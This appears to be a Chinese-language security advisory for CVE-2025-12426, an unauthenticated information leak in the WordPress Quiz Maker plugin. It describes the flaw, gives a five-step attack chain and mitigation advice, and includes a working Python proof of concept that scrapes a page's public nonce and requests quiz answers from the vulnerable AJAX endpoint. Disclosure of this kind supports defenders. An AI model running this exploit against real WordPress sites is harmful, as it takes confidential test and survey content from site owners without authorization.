IPBUF安全漏洞报告
English
CVE-2025-12426 CVSS 5.3 中危

CVE-2025-12426 WordPress Quiz Maker插件敏感信息泄露漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12426
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Quiz Maker插件

相关标签

敏感信息泄露WordPress插件Quiz MakerAJAX漏洞授权绕过信息泄露CVE-2025-12426

漏洞概述

WordPress Quiz Maker插件6.7.0.80及之前所有版本存在敏感信息泄露漏洞。该漏洞源于插件通过ays_quiz_check_answer AJAX action暴露quiz答案,但缺少适当的授权检查机制。攻击者可以利用公开的nonce值无需任何认证即可访问此端点,从而获取任意quiz的答案内容。此漏洞影响所有使用该插件的WordPress网站,攻击者可提取包含测验答案在内的敏感数据,可能导致教育测验、商业问卷或内部测试内容被非法获取。漏洞CVSS评分为5.3,属于中等严重程度,主要风险在于信息机密性受损。

技术细节

漏洞根源在于Quiz Maker插件的授权验证机制缺陷。当用户提交quiz答案时,插件通过ays_quiz_check_answer AJAX action处理请求。该端点仅验证请求中携带的nonce值用于防止CSRF攻击,但这个nonce并非真正的授权凭证。问题在于该nonce通过wp_localize_script函数以quiz_maker_ajax_public为键将数据注入到前端JavaScript中,而所有网站访问者都可以通过查看页面源码访问到这些数据。攻击者只需构造恶意请求,包含获取的nonce值和目标quiz的question_id参数,即可通过ays_quiz_check_answer端点获取对应问题的答案。攻击过程无需任何认证,不依赖用户交互,可大规模自动化利用。攻击者可能利用获取的答案数据用于作弊、获取商业敏感信息或进行进一步的社会工程攻击。

攻击链分析

STEP 1
步骤1
攻击者访问目标WordPress网站页面,收集公开的nonce值。该nonce通过quiz_maker_ajax_public localized script数据嵌入在页面源码中
STEP 2
步骤2
攻击者从页面HTML中提取quiz ID和question ID,这些信息通常以data属性或表单字段形式存在
STEP 3
步骤3
攻击者构造ays_quiz_check_answer AJAX请求,包含提取的nonce、quiz_id和question_id参数
STEP 4
步骤4
服务器端仅验证nonce有效性即返回对应问题的答案,攻击者成功获取敏感quiz答案数据
STEP 5
步骤5
攻击者可自动化此过程批量提取所有quiz的答案,或将获取的数据用于进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re target_url = "https://vulnerable-site.com" # Step 1: Get the public nonce from the page response = requests.get(target_url) # Extract nonce from: var quiz_maker_ajax_public = {"ajax_url":"...","nonce":"<NONCE>"} nonce_match = re.search(r'quiz_maker_ajax_public.*?"nonce":"([a-zA-Z0-9]+)"', response.text) if not nonce_match: print("Failed to extract nonce") exit(1) nonce = nonce_match.group(1) print(f"Extracted nonce: {nonce}") # Step 2: Extract quiz and question IDs from the page # Quiz IDs are typically in data attributes like: data-quiz-id="123" # Question IDs are in form fields like: name="ays_questions[]" value="456" quiz_id = "1" # Replace with target quiz ID question_id = "1" # Replace with target question ID # Step 3: Send request to leak answer ajax_url = re.search(r'"ajax_url":"([^"]+)"', response.text).group(1) data = { "action": "ays_quiz_check_answer", "nonce": nonce, "quiz_id": quiz_id, "question_id": question_id } result = requests.post(ajax_url, data=data) print(f"Answer leaked: {result.text}")

影响范围

Quiz Maker插件 <= 6.7.0.80 (所有版本)

防御指南

临时缓解措施
如果无法立即升级,可临时禁用Quiz Maker插件或限制未登录用户访问quiz功能。也可通过Web应用防火墙规则阻止对ays_quiz_check_answer端点的未授权访问,但根本解决仍需升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表